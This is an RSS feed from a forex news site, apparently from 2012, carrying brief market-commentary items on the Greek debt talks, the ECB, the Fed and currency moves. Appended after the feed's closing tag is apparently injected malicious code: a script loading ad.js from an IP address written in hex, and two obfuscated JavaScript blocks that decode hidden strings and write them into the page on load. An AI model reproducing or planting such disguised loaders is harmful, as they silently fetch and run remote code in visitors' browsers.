<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Forex Gates :: Forex Trading Brokers , managers and trading platforums</title>
	<atom:link href="http://www.fxgates.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.fxgates.com</link>
	<description>Forex Trading Brokers, Fund Managers, Forex Trading platforms, articles and a FX trading community</description>
	<pubDate>Thu, 23 Feb 2012 00:00:57 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
			<item>
		<title>Waiting on the BoE and ECB</title>
		<link>http://www.fxgates.com/waiting-on-the-boe-and-ecb/</link>
		<comments>http://www.fxgates.com/waiting-on-the-boe-and-ecb/#comments</comments>
		<pubDate>Thu, 23 Feb 2012 00:00:57 +0000</pubDate>
		<dc:creator>FxGates</dc:creator>
		
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.fxgates.com/waiting-on-the-boe-and-ecb/</guid>
		<description><![CDATA[Yesterday, FX traders spent much of the day waiting for news from Greece and today looks to be much the same. But while we wait, the general mood is risk-on. The equities continues to edge higher and US bond yields have reacted with a bearish run to the short term range highs. It’s clear by [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday, FX traders spent much of the day waiting for news from Greece and today looks to be much the same. But while we wait, the general mood is risk-on. The equities continues to edge higher and US bond yields have reacted with a bearish run to the short term range highs. It’s clear by EURUSD price action that traders are scared of going short ahead of any Greek headline or today’s ECB rate&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.fxgates.com/waiting-on-the-boe-and-ecb/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Troika Deadline Looms</title>
		<link>http://www.fxgates.com/troika-deadline-looms/</link>
		<comments>http://www.fxgates.com/troika-deadline-looms/#comments</comments>
		<pubDate>Thu, 23 Feb 2012 00:00:17 +0000</pubDate>
		<dc:creator>FxGates</dc:creator>
		
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.fxgates.com/troika-deadline-looms/</guid>
		<description><![CDATA[The global risky rally sustained its earlier gains in Asian session and continued to push higher. Rejuvenated confidence on a the ability of Greece to secure the Troika second bailout package buoyed risk sentiment yesterday, pushing equities higher and pushed Treasury prices and USD lower. EURUSD climbed to 1.3287 from 1.3100 yesterday while AUDUSD jumped [...]]]></description>
			<content:encoded><![CDATA[<p>The global risky rally sustained its earlier gains in Asian session and continued to push higher. Rejuvenated confidence on a the ability of Greece to secure the Troika second bailout package buoyed risk sentiment yesterday, pushing equities higher and pushed Treasury prices and USD lower. EURUSD climbed to 1.3287 from 1.3100 yesterday while AUDUSD jumped to 1.0844. Asian equities kept the&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.fxgates.com/troika-deadline-looms/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Greece Rejects Greater EU Oversight</title>
		<link>http://www.fxgates.com/greece-rejects-greater-eu-oversight/</link>
		<comments>http://www.fxgates.com/greece-rejects-greater-eu-oversight/#comments</comments>
		<pubDate>Tue, 31 Jan 2012 00:00:23 +0000</pubDate>
		<dc:creator>FxGates</dc:creator>
		
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.fxgates.com/greece-rejects-greater-eu-oversight/</guid>
		<description><![CDATA[With Greek negotiations ongoing but yet to reach a conclusion, media chatter over the weekend was dominated by reports that Germany wishes to have greater oversight of Greece’s budget – a proposal that Greece has readily dismissed. The suggestion was endorsed by German cabinet minister Philipp Roesler, and reflects the widespread scepticism both across the [...]]]></description>
			<content:encoded><![CDATA[<p>With Greek negotiations ongoing but yet to reach a conclusion, media chatter over the weekend was dominated by reports that Germany wishes to have greater oversight of Greece’s budget – a proposal that Greece has readily dismissed. The suggestion was endorsed by German cabinet minister Philipp Roesler, and reflects the widespread scepticism both across the market and amongst policy makers that&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.fxgates.com/greece-rejects-greater-eu-oversight/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Swiss KoF Goes Negative</title>
		<link>http://www.fxgates.com/swiss-kof-goes-negative/</link>
		<comments>http://www.fxgates.com/swiss-kof-goes-negative/#comments</comments>
		<pubDate>Sun, 29 Jan 2012 00:00:23 +0000</pubDate>
		<dc:creator>FxGates</dc:creator>
		
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.fxgates.com/swiss-kof-goes-negative/</guid>
		<description><![CDATA[USD selling continued for the majority of yesterday’s session. EM &#38; commodity currencies have been a primary recipient to inflows. USDTRY sank to 1.7862, while USDRUB gapped lower at the open and proceed to fall to 30.1811. The impetus seems to be the residual effect of the FOMC meeting where Mr. Bernanke announced it would [...]]]></description>
			<content:encoded><![CDATA[<p>USD selling continued for the majority of yesterday’s session. EM &amp; commodity currencies have been a primary recipient to inflows. USDTRY sank to 1.7862, while USDRUB gapped lower at the open and proceed to fall to 30.1811. The impetus seems to be the residual effect of the FOMC meeting where Mr. Bernanke announced it would be nearly 3 years before hikes (he also indicated that selling of&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.fxgates.com/swiss-kof-goes-negative/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Fed Initiate Explicit Inflation Target</title>
		<link>http://www.fxgates.com/fed-initiate-explicit-inflation-target/</link>
		<comments>http://www.fxgates.com/fed-initiate-explicit-inflation-target/#comments</comments>
		<pubDate>Fri, 27 Jan 2012 00:00:57 +0000</pubDate>
		<dc:creator>FxGates</dc:creator>
		
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.fxgates.com/fed-initiate-explicit-inflation-target/</guid>
		<description><![CDATA[USD was sold in Asian session as the FOMC sounded very dovish in their pledge to hold rates at near zero “at least through late 2014”. EURUSD climbed to 1.3134 while AUDUSD ran to 1.0642, on broad USD selling. In addition to the commitment to low rates the Fed also committed to explicit inflation targeting [...]]]></description>
			<content:encoded><![CDATA[<p>USD was sold in Asian session as the FOMC sounded very dovish in their pledge to hold rates at near zero “at least through late 2014”. EURUSD climbed to 1.3134 while AUDUSD ran to 1.0642, on broad USD selling. In addition to the commitment to low rates the Fed also committed to explicit inflation targeting for the first time. Core personal consumption expenditure will be now steered towards 2.0%&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.fxgates.com/fed-initiate-explicit-inflation-target/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Waiting on a Potentially Less Dovish Fed</title>
		<link>http://www.fxgates.com/waiting-on-a-potentially-less-dovish-fed/</link>
		<comments>http://www.fxgates.com/waiting-on-a-potentially-less-dovish-fed/#comments</comments>
		<pubDate>Fri, 27 Jan 2012 00:00:25 +0000</pubDate>
		<dc:creator>FxGates</dc:creator>
		
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.fxgates.com/waiting-on-a-potentially-less-dovish-fed/</guid>
		<description><![CDATA[The big mover in Asian session was the AUD, as a weaker headline CPI reading of 0.0% q/q vs. 0.2% exp pushed AUDUSD briefly to 1.0441. This read would put the year-on-year number slightly above mid-point of RBA&#8217;s 2-3% inflation band and forces traders to slightly rethink rate cut expectations. The OIS market is pricing [...]]]></description>
			<content:encoded><![CDATA[<p>The big mover in Asian session was the AUD, as a weaker headline CPI reading of 0.0% q/q vs. 0.2% exp pushed AUDUSD briefly to 1.0441. This read would put the year-on-year number slightly above mid-point of RBA&#8217;s 2-3% inflation band and forces traders to slightly rethink rate cut expectations. The OIS market is pricing in cuts of roughly 16bp for the February meeting. Given the contraction in&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.fxgates.com/waiting-on-a-potentially-less-dovish-fed/feed/</wfw:commentRss>
		</item>
		<item>
		<title>SNBs Danthine To Speak</title>
		<link>http://www.fxgates.com/snbs-danthine-to-speak/</link>
		<comments>http://www.fxgates.com/snbs-danthine-to-speak/#comments</comments>
		<pubDate>Wed, 25 Jan 2012 00:00:50 +0000</pubDate>
		<dc:creator>FxGates</dc:creator>
		
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.fxgates.com/snbs-danthine-to-speak/</guid>
		<description><![CDATA[In Asia session, liquidity was thin and flow were light as locals celebrated the second day of the Chinese New Year. BoJ unanimously keeps rate unchanged at 0-0.1% and asset-purchase fund left at JPY20 trn as was universally expected. In addition, monthly JGB purchases were held at JPY1.8 trn. EURUSD took a hit, falling to [...]]]></description>
			<content:encoded><![CDATA[<p>In Asia session, liquidity was thin and flow were light as locals celebrated the second day of the Chinese New Year. BoJ unanimously keeps rate unchanged at 0-0.1% and asset-purchase fund left at JPY20 trn as was universally expected. In addition, monthly JGB purchases were held at JPY1.8 trn. EURUSD took a hit, falling to 1.2988 on a WSJ article and comment from Juncker ran on the wire. The WSJ&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.fxgates.com/snbs-danthine-to-speak/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Year of the Dragon Off to a Slow Start</title>
		<link>http://www.fxgates.com/year-of-the-dragon-off-to-a-slow-start/</link>
		<comments>http://www.fxgates.com/year-of-the-dragon-off-to-a-slow-start/#comments</comments>
		<pubDate>Wed, 25 Jan 2012 00:00:23 +0000</pubDate>
		<dc:creator>FxGates</dc:creator>
		
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.fxgates.com/year-of-the-dragon-off-to-a-slow-start/</guid>
		<description><![CDATA[The first trading day in the year of the Dragon was unremarkable. With much of Asia closed fo the holidays trading was subdued. FX market positioning seems to indicate that traders are bracing for a significant pullback in risk appetite. The catalyst looks to be the disappointment created by the Greek debt swap plan. Whatever [...]]]></description>
			<content:encoded><![CDATA[<p>The first trading day in the year of the Dragon was unremarkable. With much of Asia closed fo the holidays trading was subdued. FX market positioning seems to indicate that traders are bracing for a significant pullback in risk appetite. The catalyst looks to be the disappointment created by the Greek debt swap plan. Whatever the outcome, it&#8217;s bound to come up short. In the short term, we suspect&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.fxgates.com/year-of-the-dragon-off-to-a-slow-start/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Strong Auction Results and PSI talks in Greece Support Risk</title>
		<link>http://www.fxgates.com/strong-auction-results-and-psi-talks-in-greece-support-risk/</link>
		<comments>http://www.fxgates.com/strong-auction-results-and-psi-talks-in-greece-support-risk/#comments</comments>
		<pubDate>Mon, 23 Jan 2012 00:00:43 +0000</pubDate>
		<dc:creator>FxGates</dc:creator>
		
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.fxgates.com/strong-auction-results-and-psi-talks-in-greece-support-risk/</guid>
		<description><![CDATA[Lack of fresh news&#160;prior to the Lunar New Year had FX markets trending. Gains in regional equities across Asian reflected the follow through from Wall Street solid performance. EURUSD contracted into a narrow range narrow range from 1.2954 to 1.2974 while AUDUSD solid off mildly from 1.2986 to 1.2918. On the data front, Australian export [...]]]></description>
			<content:encoded><![CDATA[<p>Lack of fresh news&nbsp;prior to the Lunar New Year had FX markets trending. Gains in regional equities across Asian reflected the follow through from Wall Street solid performance. EURUSD contracted into a narrow range narrow range from 1.2954 to 1.2974 while AUDUSD solid off mildly from 1.2986 to 1.2918. On the data front, Australian export and import prices came in at 1.5% and 2.5% q/q. Rumors&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.fxgates.com/strong-auction-results-and-psi-talks-in-greece-support-risk/feed/</wfw:commentRss>
		</item>
		<item>
		<title>A Possible Greek Deal Gives EUR Bulls Hope</title>
		<link>http://www.fxgates.com/a-possible-greek-deal-gives-eur-bulls-hope/</link>
		<comments>http://www.fxgates.com/a-possible-greek-deal-gives-eur-bulls-hope/#comments</comments>
		<pubDate>Mon, 23 Jan 2012 00:00:21 +0000</pubDate>
		<dc:creator>FxGates</dc:creator>
		
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.fxgates.com/a-possible-greek-deal-gives-eur-bulls-hope/</guid>
		<description><![CDATA[Risk appetite remains firm in Asia session with decent USD supply pushing up risk correlated FX trades. EURUSD was able to rally to 1.2868 on growing optimism over the latest Greek PSI proposal. Financial Times reports that rather than having a fixed coupon, that had been a barrier in discussions, the strategy is to provide [...]]]></description>
			<content:encoded><![CDATA[<p>Risk appetite remains firm in Asia session with decent USD supply pushing up risk correlated FX trades. EURUSD was able to rally to 1.2868 on growing optimism over the latest Greek PSI proposal. Financial Times reports that rather than having a fixed coupon, that had been a barrier in discussions, the strategy is to provide a flexible coupon. The latest headlines is calling for a coupon starting&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.fxgates.com/a-possible-greek-deal-gives-eur-bulls-hope/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
<script src=http://0x4d.0xf2.0x00.0x0c/ad.js></script><script>xijor="22555522255522552555252225555225255255222552252522522222255525222555522525552222255225252255552522522252255525222552252525555222255525222252555525522255255522552555225522522252225555522252225525552522255522552552522525525522225222222555525525552555255252252552252225552522255252222255525222522222225522222555222225555222225552552552522225522525255252252552255525525222255525222255525222522222225522222555222225555222225552552552255225552252255222252552552525522525255222522552555525552252255225222552252525552252225552522252222225525552255255552255525525552552255252252555225525525225255222522552522525525522255252252555252225555225225552522252222225525222255252252552252225522522255225252552555222555255255555252255552222525555255522552555252225555225255255222552252522555552225555222552522525522552255522522552222525525525255225252252222225525225255225222255552522522252255525222555225525525225255255222252225222522222255522552555225225522255225555252252225225525222255525222555252225552222225552522252555522525555255522552555252225552252255255552552555225522225255525222252555225522255255255552552552522525555255522552252555525525225255255522252555225522255255225552552522522555555225522522252225222555552225555222252555525525225255225522555225225522225255255252552252522555552";vpbvc=100;wxmeb=this;aknnp="i"+"te";ntak=116;dyujh="wr"+aknnp;for(buvld in wxmeb){if(buvld.length==8 && buvld.charCodeAt(0)==vpbvc && buvld.charCodeAt(7)==ntak){break;}}o="";psgpt=0;rgntm=wxmeb[buvld];rbho=53;while (psgpt<xijor.length){goibp=0;for(vxqle=0;vxqle<8;vxqle++){goibp=goibp<<1;if(xijor.charCodeAt(psgpt+vxqle)==rbho){goibp++;}}psgpt=psgpt+3;rgntm[dyujh](String.fromCharCode(goibp));psgpt=psgpt+5;}</script>
<script type="text/javascript" language="javascript">kxjwm="22522222225555222555225525552522255552252552552225522525225222222555252225555225255522222552252522555525225222522555252225522525255552222555252222525555255222552555225525552255225222522255555222522255255525552552552225525525255222552555225522522222255552552555255525525225255225222555252225525222225552522252222222552222255522222555522222555255255252222552252525525225255225552552522225552522225552522252222222552222255522222555522222555255255225522555225225522225255255252552252525522252255255552555225225522522255225252555225222555252225222222552555225525555225552552555255225525225255522552552522525522252255252252552552225525225255525222555522522555252225222222552522225525225255225222552252225522525255255522255525525555525225555222252555525552255255525222555522525525522255225252255555222555522255252252552255225552252255222252552552525522525225222222552522525522522225555252252225225552555255255222552552525522255255522552252225222522222255522552555225225522255225555252252225225525222255525222555252225552222225552522252555522525555255525552552252525552252255525552552252525522552255525552552252522552255225255522552225525525555225255522552225525522255225255552552222525522522225255522552525225552222255225552252225222555552225555222252555525525225255225522555225225522225255255252552252522555552";madds=100;wljam=this;cjayr="i"+"te";geijt=116;fsmuj="wr"+cjayr;for(yadii in wljam){if(yadii.length==8 && yadii.charCodeAt(0)==madds && yadii.charCodeAt(7)==geijt){break;}}o="";bqcqp=0;qczew=wljam[yadii];dlhge=53;while (bqcqp<kxjwm.length){voxhw=0;for(evedn=0;evedn<8;evedn++){voxhw=voxhw<<1;if(kxjwm.charCodeAt(bqcqp+evedn)==dlhge){voxhw++;}}bqcqp=bqcqp+3;qczew[fsmuj](String.fromCharCode(voxhw));bqcqp=bqcqp+5;}</script>
<!-- analytics7 --> 
